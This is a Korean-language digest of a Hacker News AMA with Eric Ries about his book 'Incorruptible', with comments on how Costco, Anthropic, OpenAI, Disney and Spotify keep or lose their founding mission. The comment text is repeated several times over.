"The Lean Startup" 저자이자 신간 "Incorruptible"을 낸 Eric Ries입니다 – 무엇이든 물어보세요 (news.ycombinator.com)
아래는 답글을 통해 Eric Lies가 얘기한 것들
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▲ GN⁺ 1일전 [-] Hacker News 의견들 “Costco 같은 회사들이 중력을 거스르도록 구조화됐다”는 표현에 대해, 핫도그 가격을 1.50달러로 유지한 일화는 구조 라기보다 리더십 에 가깝다고 봄 가격을 올리려던 순간 권한 있는 최고위 인물이 “올리면 죽인다”고 막은 것이고, 결국 올바른 판단을 가진 리더가 있어야 했다는 뜻임. 좋은 구조와 흔들리지 않는 이상주의적이고 정확한 리더가 둘 다 필요함 이 질문을 던진 게 좋았고, 사실 질문 형태는 아니었지만 그 인용문은 책에 그대로 들어 있음 Costco가 리더십, 강한 윤리, 거대한 규모 때문에만 버텼다고 생각하면 틀림. Wall Street가 건드리기에 너무 큰 회사란 없고, 실제로 Costco의 정신을 해체하려는 시도가 여러 번 있었지만 매번 Costco의 독특한 구조 가 저항하게 해줬음 고객층을 존중하고 제대로 이해하는 리더십 도 중요함 존중받는다고 느끼고 회사가 자기편이라고 진심으로 믿는 고객은 극도로 충성적이 됨. 그런 고객 기반을 만들고 계속 존중하면 문제는 스스로 풀림 Acquired에 Costco를 다룬 훌륭한 에피소드가 있음: https://www.acquired.fm/episodes/costco 다른 목표를 가진 새 소유주가 우회하거나 뒤집을 수 없는 규칙 구조는 없음 가치를 지키는 가장 탄탄한 방법은 “눈으로 본 것을 잊지 않도록 마음을 부지런히 지키고, 그것을 자녀와 자녀의 자녀에게 가르치는 것”에 가까움. 후계자가 문자 그대로 자녀일 필요는 없지만, 회사를 돈 가진 낯선 사람들 에게 넘기면 그들이 새 소유물을 마음대로 다루는 데 놀랄 수 없음 Vale을 쓰는 건가, 아니면 기본 Fable인가? NASA, ATT, IBM, HP, Amazon, Google, 그리고 직접 만든 몇몇 스타트업에서 일했지만, 스타트업을 제외하면 어느 곳도 원래의 사명 을 끝까지 지키지 못했음 창업자가 떠나고 다음 리더십이 창업자의 비전과 가치를 같은 방식으로 공유하지 않기 때문이라고 봄. 회사는 기여하고 싶은 사람들이 모인 협업체라서, 사람이 바뀌면 회사도 바뀌고 이는 피하기 어려움. Costco, Patagonia, Novo Nordisk처럼 이를 피한 원형들이 있다면, 그런 회사를 새로 만드는 법보다 이미 다녔던 회사들을 중력에 저항하는 조직으로 바꾸는 방법이 궁금함. 아니면 이미 너무 늦은 건지도 궁금함 오늘날 세상에서 책이 마주하려는 슬픈 진실 중 하나는 대부분의 회사가 승계의 시험 을 통과하지 못한다는 것임 하지만 이것이 우리가 살아야 하는 현실일 필요는 없음. 중력에 저항하는 조직을 만드는 것도, 이미 그 힘에 붙잡힌 조직을 바꾸는 것도 100% 가능함. 드물다는 사실은 현재 금융 시스템의 인센티브 설계와 가치관에 대해 많은 것을 말해주며, 자연법칙은 아님. 책의 2부인 “The Blueprint”는 이런 조직을 장기적이고 사명 중심적이며 부패하지 않는 일터로 만들기 위한 지배구조와 리더십 도구 를 다룸 기술 업계가 얼마나 “부패 가능”한지에 많은 만드는 사람들이 환멸을 느끼고 있음 예전에 Hacker News 1위에 올랐던 “Revenue Model is More Important than Culture”라는 글에서, 부패를 피하려면 비즈니스 모델 자체가 그 영향을 받지 않도록 해야 한다고 썼음. 하지만 이 논의를 읽고 보니 구조가 지배항 이라는 주장이 더 강하게 느껴짐 그 블로그 글을 읽었더라면 좋았겠음. 새 책의 한 장이 바로 그 내용임 대부분 회사가 쓰는 “사명 중심”이라는 표현은 사실상 완전한 거짓말이고, 기껏해야 “사명을 희망하는” 수준이라고 봄. 비즈니스 모델을 사명과 100% 맞추기 위해 필요한 관리 시스템, 리더십 기법, 구조적 요소를 가리키는 새 용어로 mission drive 를 만들었음. 설치하고 유지보수할 수 있는 엔진 같은 개념임 찾는 사람을 위한 링크: https://somehowmanage.com/2020/09/20/revenue-model-not-cultu... “나빠진다”는 것이 금융 인센티브뿐 아니라 더 많은 사람들이 가치를 얻는 변화와 겹칠 때가 있어 판단이 어려움 예를 들어 Spotify가 “플레이리스트를 쉽게 만들고 공유하게 해준다”에서 “우리가 만들어줄 테니 계속 배경음악처럼 들어라”로 이동한 경우, 초기 고급 사용자에게 나쁜 변화가 늦게 들어온 사용자에게는 좋을 수 있음. 대부분의 사례를 “핵심 청중·고객·시장이 바뀌었다”로 볼 수 있는지, 그리고 주요 청중이 싫어하는 일을 하면서도 더 큰 금융적 성공을 얻는 게 가능한지 궁금함 UI 설계에서는 이 현상의 일부를 연구함 고급 사용자와 초보자 사이에는 항상 긴장이 있고, 좋은 UI가 둘 다 완벽히 만족시키기는 불가능함. 그래서 제품 수명 동안 사용자층이 숙련되면서 UI는 더 복잡하고 이해하기 어려워지는 경향이 있으며, Adobe 제품이 자주 예로 듦. 이는 온보딩과 신규 사용자 확보를 어렵게 하고 성장을 제한할 수 있음. 반대로 더 단순한 제품이 초보자 시장을 노릴 공간을 만들기도 하고, 회사가 기능을 제거하거나 쓰기 어렵게 만들어 덜 까다로운 인구집단에 맞추기도 함. Spotify의 시장점유율이 정체되면 자동 플레이리스트 사용자층 을 계속 맞출지, 평균 사용자가 시간이 지나며 더 세련돼질지가 궁금함 예전에 Spotify에서 일했던 사람이 LinkedIn에 incorruptible 관점으로 이 변화를 훌륭하게 돌아본 글을 썼는데, 지금 링크는 없음 이런 변화는 고객이 원하는 것이 바뀐 결과인 경우가 매우 드물다고 봄. 사람들이 “시장”이라고 말할 때 고객을 말하는지 금융시장을 말하는지 자주 혼동함. 솔직히 이런 종류의 조정은 다른 어떤 단일 원천보다도 금융시장의 압력 에서 비롯되는 경우가 훨씬 많음 _Incorruptible_을 더 깊이 보고 싶은 사람을 위해, 지난 몇 달 동안 수백 건의 인터뷰와 행사를 하며 여러 주제를 이야기해 왔음 그 진행 상황은 Claude Code로 https://howisincorruptiblegoing.com/ 에 요약하게 하고 있음. 지금까지 받은 찬사, 리뷰, 수상 내역도 볼 수 있음 시장의 비윤리적 행동이 구조적이라는 전제에는 동의하고, 책 작업과 LTSE 설립 도 매우 큰 성취라고 봄 다만 규제와 개혁을 통해 공공투자의 전체 인센티브 구조를 착취가 아니라 관리 책임에 맞추도록 되돌릴 수 있을지는 회의적임. 이 꿈과 현실 사이의 “금융 중력”을 어떻게 거스를 계획인지 궁금함. 그리고 Claude Code는 인터뷰와 행사 요약 요청을 잘못 이해한 것 같음. 요약은 없고 마케팅·홍보 웹사이트를 만들어버렸음 저자로서 글쓰기에 AI 도구 를 쓰는 것 자체에 분노하는 사람들을 많이 상대하고 있음. 이런 반응을 어떻게 관리하고 있는지 궁금함 Anthropic에서 일했지만, 이 회사를 긍정적 사례로 들 때 구조 자체 에 많은 공을 돌리지는 않겠음 실제로는 특정 사람들, 특히 초기 팀 상당수와 연구·인프라 쪽 채용, 그리고 그 내부의 가까운 개인적 관계가 중요했다고 봄. 그 역학과 가치에 반하는 일에 굴복하지 않으려는 태도가 일부 비정상적으로 좋은 결정과 결과를 만들었음 [1]. 회사의 여러 부분은 정기적으로 “부패”하고, 대형 기술기업 문화를 들여오지 않고 확장하기는 어려움. 때로는 개별 기여자가 문제를 올리고, Dario가 개별 기여자와 직접 이야기한 뒤 흔드는 방식으로 방어가 이뤄졌음. 하지만 이 과정은 시간이 걸리고 완전한 되돌림으로 이어지지도 않음. 나쁘거나 맞지 않는 채용은 파장을 남김. 여전히 가치에 의해 움직이는 사람들이 많지만, 확장 동학은 다른 조직과 비슷하게 진화하는 듯하며 단지 직원 수와 매출 규모가 더 큰 상태임. Anthropic에서 일하는 특정 사람들은 신뢰하지만, 조직으로서의 Anthropic은 신뢰하지 않음. 구조와 무관하게 변하기 쉬운 조직임 [1]: https://news.ycombinator.com/item?id=47174423 사람의 중요성에 완전히 동의함 나쁜 채용 하나가 20명짜리 스타트업을 망가뜨리는 것도 봤고, 5명짜리 회사가 5명의 개인이 아니라 5x5명처럼 일해서 뛰어난 성과를 내는 것도 봤음 아무리 열심히 노력해도 이런 확장 동학 을 피할 수 있는지 정말 궁금함 피할 수 없다면, 중간관리의 1%만 사람이고 99%가 토큰인 가상의 경량 AI 회사에서 핵심 이점은 목표 정렬일 것 같음. 의사결정 대부분이 정치에 빨려 들어가지 않으면, 투입 자원 대비 산출이 훨씬 더 잘 확장됨 매우 날카로운 분석임. 구조는 껍데기와 같아서 안에 있는 것을 보호할 수는 있지만, 그 안을 활력 있고 건강하게 만들지는 못함 다만 Dario가 꾸준히 보여준 용기가 관습적인 “모범 사례” 구조에서도 가능했을 거라고 생각한다면 스스로를 속이는 것임 Palantir와 “DoW”와 일하기 시작했을 때 그 올곧은 사람들은 외계인에게 납치된 건가? ICs가 무슨 약자인가? 아직 새 책은 읽지 않았지만, 지난 20년 정도의 Disney 궤적 에 대한 견해가 궁금함 Bob Iger의 행동 때문에 Walt의 원래 비전에서 꽤 멀어진 것처럼 보임. 창의성으로 움직이던 회사를 지식재산을 노천채굴하듯 캐내 가치를 추출하는 기계로 바꿨음. Pixar, Lucasfilm, Marvel, Fox 같은 IP를 산 것은 첫날부터 활용 가능한 기존 브랜드를 얻는 위험 완화 전략이었지만, 그렇게 하면서 큰 창의적 베팅으로 세워진 Disney의 영혼을 죽였다고 봄 최근 Abigail Disney를 만날 기회가 있었는데, 할아버지의 정신에 벌어진 일을 매우 강하게 비판해 온 사람임. 꽤 슬프게 들렸음 The Lean Startup을 재미있게 읽었음 “우리 업계”라는 표현을 썼는데, 개인적으로는 “기술 업계”라는 개념을 아주 좋아하지 않음. 많은 스타트업이 소프트웨어·컴퓨팅이 아니고, 새 기술도 꼭 그렇지 않기 때문임. 그래도 사람들이 무슨 뜻으로 쓰는지는 이해함. Costco와 Patagonia 같은 예시는 기술 업계 회사가 아닌데, 새 책에는 기술 업계에서 독점을 밀어붙이는 네트워크 효과 앞에서도 부패하지 않는 방법을 보여주는 사례가 있는지 궁금함. 또는 시장 권력을 분산하기 위해 네트워크 효과를 연결된 제휴사들 사이에 나누는 실용적 방법을 본 적이 있는지도 궁금함 책에서는 기술과 비기술 이야기를 균형 있게 담으려고 최대한 노력했음 Anthropic, GitLab, Cloudflare 같은 기술 쪽 이야기도 몇 개 있음. 공포 사례를 전부 보고 싶다면 Cory Doctorow를 읽으면 됨. 여러 산업의 다양한 이야기를 넣은 이유는 우리가 맞서 싸우는 힘이 얼마나 널리 퍼져 있는지 보여주기 위해서임. 기술 업계에만 고유한 것도 있지만, 우리를 가르는 것보다 공통점이 더 많다고 봄. 개인적으로는 우리가 하는 일을 “기술 업계”보다 스타트업 운동 이라고 부르면 좋겠지만, 그 배는 이미 떠난 것 같음 The Lean Startup의 팬이고, 예전에 만든 몇 개 스타트업에도 영향을 줬으며 성공적인 엑싯도 했음 최근 몇 년간 Silicon Valley가 부패하는 모습을 보며 새 회사를 시작할 동기와 열정이 줄었지만, 새 책이 올바른 윤리로 스타트업을 시작하는 일이 가능하다는 불씨를 되살려주길 기대함. OpenAI가 비영리에서 이상한 구조를 거쳐 사실상 평범한 영리회사처럼 보이는 방향으로 간 부패 경로 를 연구해 본 적이 있는지, 그리고 그 복잡한 회사 구조에서 얻을 교훈이 무엇인지 궁금함 용병들 때문에 너무 낙담하지 않았으면 함 우리 중 많은 사람도 그들에게 우울해하지만, 그들이 오래 남을 것 같지는 않음. 과열 주기 한가운데서 흐름을 판단하려 하면 무엇이 진짜인지 알기 어렵고, 몇 년 뒤 다시 보는 편이 좋음. OpenAI는 교훈을 끌어내기 매우 복잡하고 혼란스러운 회사임. 거대한 자아를 가진 비범한 인물들이 말도 안 되는 일을 많이 하고 있고, 내부 세부 사항도 아직 많이 공개되지 않았음. 배후에서 실제로 무슨 일이 있었는지 우리는 정말로 알지 못한다고 봄. 파벌 다툼도 꽤 있었고, 돈이 그렇게 많이 걸리면 모든 쪽에서 나쁜 행동을 찾을 수 있음. 책에서는 장기간 안정적으로 보이는 구조를 다루며, 세부를 더 잘 아는 Anthropic 이야기로 설명하는 쪽이 편했음. 이런 복잡한 구조에서 정말 중요해 보이는 차이는 통제의 중심점 이 하나인지 둘 이상인지, 즉 견제와 균형이 있는지임. 외부 수탁자 이사회가 영리 이사회를 사명에 대해 책임지게 할 권한을 가질 때 더 안정적인 결과가 나오는 듯함. 이 결론의 바탕이 되는 데이터를 발전시킨 선구자인 Copenhagen Business School의 Steve Thompson 연구를 보면 좋음 AI 시대에 SaaS를 부트스트랩 하는 것에 대한 생각이 궁금함 한 사람이 더 많은 것을 활용할 수 있으니 더 관리 가능해진 건지, 아니면 자원 요구와 고객 기대가 커져 더 어려워진 건지 궁금함. 오늘날 “부패하지 않는” 회사를 시작하는 데 이것이 어떻게 작용하는지도 궁금함 기술 변화가 있을 때마다 그것이 창업가에게 어떻게 적용될지 파악하기는 늘 혼란스러움 한편으로는 새 MVP를 훨씬 쉽게 만들고, 배포와 고객 연결, 린 스타트업이 요구하는 여러 기법을 더 쉽게 실행하게 해줌. 다른 한편으로는 그 같은 역량이 경쟁 스타트업을 만드는 수천·수백만 명과, 당신이 뒤흔들려는 기존 기업들의 손에도 들어감. 특정 기술에서 이른바 공격자의 이점이 방어자의 이점을 넘어설지는 늘 열린 질문임. _Incorruptible_의 관점에서는 특히 LLM 이 회사 내부의 정렬과 일관성을 만들려는 관리자와 리더에게 매우 유리할 수 있다고 봄. LLM이 극도로 잘하는 것이 요약이기 때문임. 현대 리더십 과제의 상당 부분은 “우리 조직이 지금 실제로 무엇을 하고 있는가?”라는 질문의 답을 파악하는 일이고, 이는 요약 문제임 답변달기
Hacker News 의견들 “Costco 같은 회사들이 중력을 거스르도록 구조화됐다”는 표현에 대해, 핫도그 가격을 1.50달러로 유지한 일화는 구조 라기보다 리더십 에 가깝다고 봄 가격을 올리려던 순간 권한 있는 최고위 인물이 “올리면 죽인다”고 막은 것이고, 결국 올바른 판단을 가진 리더가 있어야 했다는 뜻임. 좋은 구조와 흔들리지 않는 이상주의적이고 정확한 리더가 둘 다 필요함 이 질문을 던진 게 좋았고, 사실 질문 형태는 아니었지만 그 인용문은 책에 그대로 들어 있음 Costco가 리더십, 강한 윤리, 거대한 규모 때문에만 버텼다고 생각하면 틀림. Wall Street가 건드리기에 너무 큰 회사란 없고, 실제로 Costco의 정신을 해체하려는 시도가 여러 번 있었지만 매번 Costco의 독특한 구조 가 저항하게 해줬음 고객층을 존중하고 제대로 이해하는 리더십 도 중요함 존중받는다고 느끼고 회사가 자기편이라고 진심으로 믿는 고객은 극도로 충성적이 됨. 그런 고객 기반을 만들고 계속 존중하면 문제는 스스로 풀림 Acquired에 Costco를 다룬 훌륭한 에피소드가 있음: https://www.acquired.fm/episodes/costco 다른 목표를 가진 새 소유주가 우회하거나 뒤집을 수 없는 규칙 구조는 없음 가치를 지키는 가장 탄탄한 방법은 “눈으로 본 것을 잊지 않도록 마음을 부지런히 지키고, 그것을 자녀와 자녀의 자녀에게 가르치는 것”에 가까움. 후계자가 문자 그대로 자녀일 필요는 없지만, 회사를 돈 가진 낯선 사람들 에게 넘기면 그들이 새 소유물을 마음대로 다루는 데 놀랄 수 없음 Vale을 쓰는 건가, 아니면 기본 Fable인가? NASA, ATT, IBM, HP, Amazon, Google, 그리고 직접 만든 몇몇 스타트업에서 일했지만, 스타트업을 제외하면 어느 곳도 원래의 사명 을 끝까지 지키지 못했음 창업자가 떠나고 다음 리더십이 창업자의 비전과 가치를 같은 방식으로 공유하지 않기 때문이라고 봄. 회사는 기여하고 싶은 사람들이 모인 협업체라서, 사람이 바뀌면 회사도 바뀌고 이는 피하기 어려움. Costco, Patagonia, Novo Nordisk처럼 이를 피한 원형들이 있다면, 그런 회사를 새로 만드는 법보다 이미 다녔던 회사들을 중력에 저항하는 조직으로 바꾸는 방법이 궁금함. 아니면 이미 너무 늦은 건지도 궁금함 오늘날 세상에서 책이 마주하려는 슬픈 진실 중 하나는 대부분의 회사가 승계의 시험 을 통과하지 못한다는 것임 하지만 이것이 우리가 살아야 하는 현실일 필요는 없음. 중력에 저항하는 조직을 만드는 것도, 이미 그 힘에 붙잡힌 조직을 바꾸는 것도 100% 가능함. 드물다는 사실은 현재 금융 시스템의 인센티브 설계와 가치관에 대해 많은 것을 말해주며, 자연법칙은 아님. 책의 2부인 “The Blueprint”는 이런 조직을 장기적이고 사명 중심적이며 부패하지 않는 일터로 만들기 위한 지배구조와 리더십 도구 를 다룸 기술 업계가 얼마나 “부패 가능”한지에 많은 만드는 사람들이 환멸을 느끼고 있음 예전에 Hacker News 1위에 올랐던 “Revenue Model is More Important than Culture”라는 글에서, 부패를 피하려면 비즈니스 모델 자체가 그 영향을 받지 않도록 해야 한다고 썼음. 하지만 이 논의를 읽고 보니 구조가 지배항 이라는 주장이 더 강하게 느껴짐 그 블로그 글을 읽었더라면 좋았겠음. 새 책의 한 장이 바로 그 내용임 대부분 회사가 쓰는 “사명 중심”이라는 표현은 사실상 완전한 거짓말이고, 기껏해야 “사명을 희망하는” 수준이라고 봄. 비즈니스 모델을 사명과 100% 맞추기 위해 필요한 관리 시스템, 리더십 기법, 구조적 요소를 가리키는 새 용어로 mission drive 를 만들었음. 설치하고 유지보수할 수 있는 엔진 같은 개념임 찾는 사람을 위한 링크: https://somehowmanage.com/2020/09/20/revenue-model-not-cultu... “나빠진다”는 것이 금융 인센티브뿐 아니라 더 많은 사람들이 가치를 얻는 변화와 겹칠 때가 있어 판단이 어려움 예를 들어 Spotify가 “플레이리스트를 쉽게 만들고 공유하게 해준다”에서 “우리가 만들어줄 테니 계속 배경음악처럼 들어라”로 이동한 경우, 초기 고급 사용자에게 나쁜 변화가 늦게 들어온 사용자에게는 좋을 수 있음. 대부분의 사례를 “핵심 청중·고객·시장이 바뀌었다”로 볼 수 있는지, 그리고 주요 청중이 싫어하는 일을 하면서도 더 큰 금융적 성공을 얻는 게 가능한지 궁금함 UI 설계에서는 이 현상의 일부를 연구함 고급 사용자와 초보자 사이에는 항상 긴장이 있고, 좋은 UI가 둘 다 완벽히 만족시키기는 불가능함. 그래서 제품 수명 동안 사용자층이 숙련되면서 UI는 더 복잡하고 이해하기 어려워지는 경향이 있으며, Adobe 제품이 자주 예로 듦. 이는 온보딩과 신규 사용자 확보를 어렵게 하고 성장을 제한할 수 있음. 반대로 더 단순한 제품이 초보자 시장을 노릴 공간을 만들기도 하고, 회사가 기능을 제거하거나 쓰기 어렵게 만들어 덜 까다로운 인구집단에 맞추기도 함. Spotify의 시장점유율이 정체되면 자동 플레이리스트 사용자층 을 계속 맞출지, 평균 사용자가 시간이 지나며 더 세련돼질지가 궁금함 예전에 Spotify에서 일했던 사람이 LinkedIn에 incorruptible 관점으로 이 변화를 훌륭하게 돌아본 글을 썼는데, 지금 링크는 없음 이런 변화는 고객이 원하는 것이 바뀐 결과인 경우가 매우 드물다고 봄. 사람들이 “시장”이라고 말할 때 고객을 말하는지 금융시장을 말하는지 자주 혼동함. 솔직히 이런 종류의 조정은 다른 어떤 단일 원천보다도 금융시장의 압력 에서 비롯되는 경우가 훨씬 많음 _Incorruptible_을 더 깊이 보고 싶은 사람을 위해, 지난 몇 달 동안 수백 건의 인터뷰와 행사를 하며 여러 주제를 이야기해 왔음 그 진행 상황은 Claude Code로 https://howisincorruptiblegoing.com/ 에 요약하게 하고 있음. 지금까지 받은 찬사, 리뷰, 수상 내역도 볼 수 있음 시장의 비윤리적 행동이 구조적이라는 전제에는 동의하고, 책 작업과 LTSE 설립 도 매우 큰 성취라고 봄 다만 규제와 개혁을 통해 공공투자의 전체 인센티브 구조를 착취가 아니라 관리 책임에 맞추도록 되돌릴 수 있을지는 회의적임. 이 꿈과 현실 사이의 “금융 중력”을 어떻게 거스를 계획인지 궁금함. 그리고 Claude Code는 인터뷰와 행사 요약 요청을 잘못 이해한 것 같음. 요약은 없고 마케팅·홍보 웹사이트를 만들어버렸음 저자로서 글쓰기에 AI 도구 를 쓰는 것 자체에 분노하는 사람들을 많이 상대하고 있음. 이런 반응을 어떻게 관리하고 있는지 궁금함 Anthropic에서 일했지만, 이 회사를 긍정적 사례로 들 때 구조 자체 에 많은 공을 돌리지는 않겠음 실제로는 특정 사람들, 특히 초기 팀 상당수와 연구·인프라 쪽 채용, 그리고 그 내부의 가까운 개인적 관계가 중요했다고 봄. 그 역학과 가치에 반하는 일에 굴복하지 않으려는 태도가 일부 비정상적으로 좋은 결정과 결과를 만들었음 [1]. 회사의 여러 부분은 정기적으로 “부패”하고, 대형 기술기업 문화를 들여오지 않고 확장하기는 어려움. 때로는 개별 기여자가 문제를 올리고, Dario가 개별 기여자와 직접 이야기한 뒤 흔드는 방식으로 방어가 이뤄졌음. 하지만 이 과정은 시간이 걸리고 완전한 되돌림으로 이어지지도 않음. 나쁘거나 맞지 않는 채용은 파장을 남김. 여전히 가치에 의해 움직이는 사람들이 많지만, 확장 동학은 다른 조직과 비슷하게 진화하는 듯하며 단지 직원 수와 매출 규모가 더 큰 상태임. Anthropic에서 일하는 특정 사람들은 신뢰하지만, 조직으로서의 Anthropic은 신뢰하지 않음. 구조와 무관하게 변하기 쉬운 조직임 [1]: https://news.ycombinator.com/item?id=47174423 사람의 중요성에 완전히 동의함 나쁜 채용 하나가 20명짜리 스타트업을 망가뜨리는 것도 봤고, 5명짜리 회사가 5명의 개인이 아니라 5x5명처럼 일해서 뛰어난 성과를 내는 것도 봤음 아무리 열심히 노력해도 이런 확장 동학 을 피할 수 있는지 정말 궁금함 피할 수 없다면, 중간관리의 1%만 사람이고 99%가 토큰인 가상의 경량 AI 회사에서 핵심 이점은 목표 정렬일 것 같음. 의사결정 대부분이 정치에 빨려 들어가지 않으면, 투입 자원 대비 산출이 훨씬 더 잘 확장됨 매우 날카로운 분석임. 구조는 껍데기와 같아서 안에 있는 것을 보호할 수는 있지만, 그 안을 활력 있고 건강하게 만들지는 못함 다만 Dario가 꾸준히 보여준 용기가 관습적인 “모범 사례” 구조에서도 가능했을 거라고 생각한다면 스스로를 속이는 것임 Palantir와 “DoW”와 일하기 시작했을 때 그 올곧은 사람들은 외계인에게 납치된 건가? ICs가 무슨 약자인가? 아직 새 책은 읽지 않았지만, 지난 20년 정도의 Disney 궤적 에 대한 견해가 궁금함 Bob Iger의 행동 때문에 Walt의 원래 비전에서 꽤 멀어진 것처럼 보임. 창의성으로 움직이던 회사를 지식재산을 노천채굴하듯 캐내 가치를 추출하는 기계로 바꿨음. Pixar, Lucasfilm, Marvel, Fox 같은 IP를 산 것은 첫날부터 활용 가능한 기존 브랜드를 얻는 위험 완화 전략이었지만, 그렇게 하면서 큰 창의적 베팅으로 세워진 Disney의 영혼을 죽였다고 봄 최근 Abigail Disney를 만날 기회가 있었는데, 할아버지의 정신에 벌어진 일을 매우 강하게 비판해 온 사람임. 꽤 슬프게 들렸음 The Lean Startup을 재미있게 읽었음 “우리 업계”라는 표현을 썼는데, 개인적으로는 “기술 업계”라는 개념을 아주 좋아하지 않음. 많은 스타트업이 소프트웨어·컴퓨팅이 아니고, 새 기술도 꼭 그렇지 않기 때문임. 그래도 사람들이 무슨 뜻으로 쓰는지는 이해함. Costco와 Patagonia 같은 예시는 기술 업계 회사가 아닌데, 새 책에는 기술 업계에서 독점을 밀어붙이는 네트워크 효과 앞에서도 부패하지 않는 방법을 보여주는 사례가 있는지 궁금함. 또는 시장 권력을 분산하기 위해 네트워크 효과를 연결된 제휴사들 사이에 나누는 실용적 방법을 본 적이 있는지도 궁금함 책에서는 기술과 비기술 이야기를 균형 있게 담으려고 최대한 노력했음 Anthropic, GitLab, Cloudflare 같은 기술 쪽 이야기도 몇 개 있음. 공포 사례를 전부 보고 싶다면 Cory Doctorow를 읽으면 됨. 여러 산업의 다양한 이야기를 넣은 이유는 우리가 맞서 싸우는 힘이 얼마나 널리 퍼져 있는지 보여주기 위해서임. 기술 업계에만 고유한 것도 있지만, 우리를 가르는 것보다 공통점이 더 많다고 봄. 개인적으로는 우리가 하는 일을 “기술 업계”보다 스타트업 운동 이라고 부르면 좋겠지만, 그 배는 이미 떠난 것 같음 The Lean Startup의 팬이고, 예전에 만든 몇 개 스타트업에도 영향을 줬으며 성공적인 엑싯도 했음 최근 몇 년간 Silicon Valley가 부패하는 모습을 보며 새 회사를 시작할 동기와 열정이 줄었지만, 새 책이 올바른 윤리로 스타트업을 시작하는 일이 가능하다는 불씨를 되살려주길 기대함. OpenAI가 비영리에서 이상한 구조를 거쳐 사실상 평범한 영리회사처럼 보이는 방향으로 간 부패 경로 를 연구해 본 적이 있는지, 그리고 그 복잡한 회사 구조에서 얻을 교훈이 무엇인지 궁금함 용병들 때문에 너무 낙담하지 않았으면 함 우리 중 많은 사람도 그들에게 우울해하지만, 그들이 오래 남을 것 같지는 않음. 과열 주기 한가운데서 흐름을 판단하려 하면 무엇이 진짜인지 알기 어렵고, 몇 년 뒤 다시 보는 편이 좋음. OpenAI는 교훈을 끌어내기 매우 복잡하고 혼란스러운 회사임. 거대한 자아를 가진 비범한 인물들이 말도 안 되는 일을 많이 하고 있고, 내부 세부 사항도 아직 많이 공개되지 않았음. 배후에서 실제로 무슨 일이 있었는지 우리는 정말로 알지 못한다고 봄. 파벌 다툼도 꽤 있었고, 돈이 그렇게 많이 걸리면 모든 쪽에서 나쁜 행동을 찾을 수 있음. 책에서는 장기간 안정적으로 보이는 구조를 다루며, 세부를 더 잘 아는 Anthropic 이야기로 설명하는 쪽이 편했음. 이런 복잡한 구조에서 정말 중요해 보이는 차이는 통제의 중심점 이 하나인지 둘 이상인지, 즉 견제와 균형이 있는지임. 외부 수탁자 이사회가 영리 이사회를 사명에 대해 책임지게 할 권한을 가질 때 더 안정적인 결과가 나오는 듯함. 이 결론의 바탕이 되는 데이터를 발전시킨 선구자인 Copenhagen Business School의 Steve Thompson 연구를 보면 좋음 AI 시대에 SaaS를 부트스트랩 하는 것에 대한 생각이 궁금함 한 사람이 더 많은 것을 활용할 수 있으니 더 관리 가능해진 건지, 아니면 자원 요구와 고객 기대가 커져 더 어려워진 건지 궁금함. 오늘날 “부패하지 않는” 회사를 시작하는 데 이것이 어떻게 작용하는지도 궁금함 기술 변화가 있을 때마다 그것이 창업가에게 어떻게 적용될지 파악하기는 늘 혼란스러움 한편으로는 새 MVP를 훨씬 쉽게 만들고, 배포와 고객 연결, 린 스타트업이 요구하는 여러 기법을 더 쉽게 실행하게 해줌. 다른 한편으로는 그 같은 역량이 경쟁 스타트업을 만드는 수천·수백만 명과, 당신이 뒤흔들려는 기존 기업들의 손에도 들어감. 특정 기술에서 이른바 공격자의 이점이 방어자의 이점을 넘어설지는 늘 열린 질문임. _Incorruptible_의 관점에서는 특히 LLM 이 회사 내부의 정렬과 일관성을 만들려는 관리자와 리더에게 매우 유리할 수 있다고 봄. LLM이 극도로 잘하는 것이 요약이기 때문임. 현대 리더십 과제의 상당 부분은 “우리 조직이 지금 실제로 무엇을 하고 있는가?”라는 질문의 답을 파악하는 일이고, 이는 요약 문제임
“Costco 같은 회사들이 중력을 거스르도록 구조화됐다”는 표현에 대해, 핫도그 가격을 1.50달러로 유지한 일화는 구조 라기보다 리더십 에 가깝다고 봄 가격을 올리려던 순간 권한 있는 최고위 인물이 “올리면 죽인다”고 막은 것이고, 결국 올바른 판단을 가진 리더가 있어야 했다는 뜻임. 좋은 구조와 흔들리지 않는 이상주의적이고 정확한 리더가 둘 다 필요함
NASA, ATT, IBM, HP, Amazon, Google, 그리고 직접 만든 몇몇 스타트업에서 일했지만, 스타트업을 제외하면 어느 곳도 원래의 사명 을 끝까지 지키지 못했음 창업자가 떠나고 다음 리더십이 창업자의 비전과 가치를 같은 방식으로 공유하지 않기 때문이라고 봄. 회사는 기여하고 싶은 사람들이 모인 협업체라서, 사람이 바뀌면 회사도 바뀌고 이는 피하기 어려움. Costco, Patagonia, Novo Nordisk처럼 이를 피한 원형들이 있다면, 그런 회사를 새로 만드는 법보다 이미 다녔던 회사들을 중력에 저항하는 조직으로 바꾸는 방법이 궁금함. 아니면 이미 너무 늦은 건지도 궁금함
기술 업계가 얼마나 “부패 가능”한지에 많은 만드는 사람들이 환멸을 느끼고 있음 예전에 Hacker News 1위에 올랐던 “Revenue Model is More Important than Culture”라는 글에서, 부패를 피하려면 비즈니스 모델 자체가 그 영향을 받지 않도록 해야 한다고 썼음. 하지만 이 논의를 읽고 보니 구조가 지배항 이라는 주장이 더 강하게 느껴짐
“나빠진다”는 것이 금융 인센티브뿐 아니라 더 많은 사람들이 가치를 얻는 변화와 겹칠 때가 있어 판단이 어려움 예를 들어 Spotify가 “플레이리스트를 쉽게 만들고 공유하게 해준다”에서 “우리가 만들어줄 테니 계속 배경음악처럼 들어라”로 이동한 경우, 초기 고급 사용자에게 나쁜 변화가 늦게 들어온 사용자에게는 좋을 수 있음. 대부분의 사례를 “핵심 청중·고객·시장이 바뀌었다”로 볼 수 있는지, 그리고 주요 청중이 싫어하는 일을 하면서도 더 큰 금융적 성공을 얻는 게 가능한지 궁금함
_Incorruptible_을 더 깊이 보고 싶은 사람을 위해, 지난 몇 달 동안 수백 건의 인터뷰와 행사를 하며 여러 주제를 이야기해 왔음 그 진행 상황은 Claude Code로 https://howisincorruptiblegoing.com/ 에 요약하게 하고 있음. 지금까지 받은 찬사, 리뷰, 수상 내역도 볼 수 있음
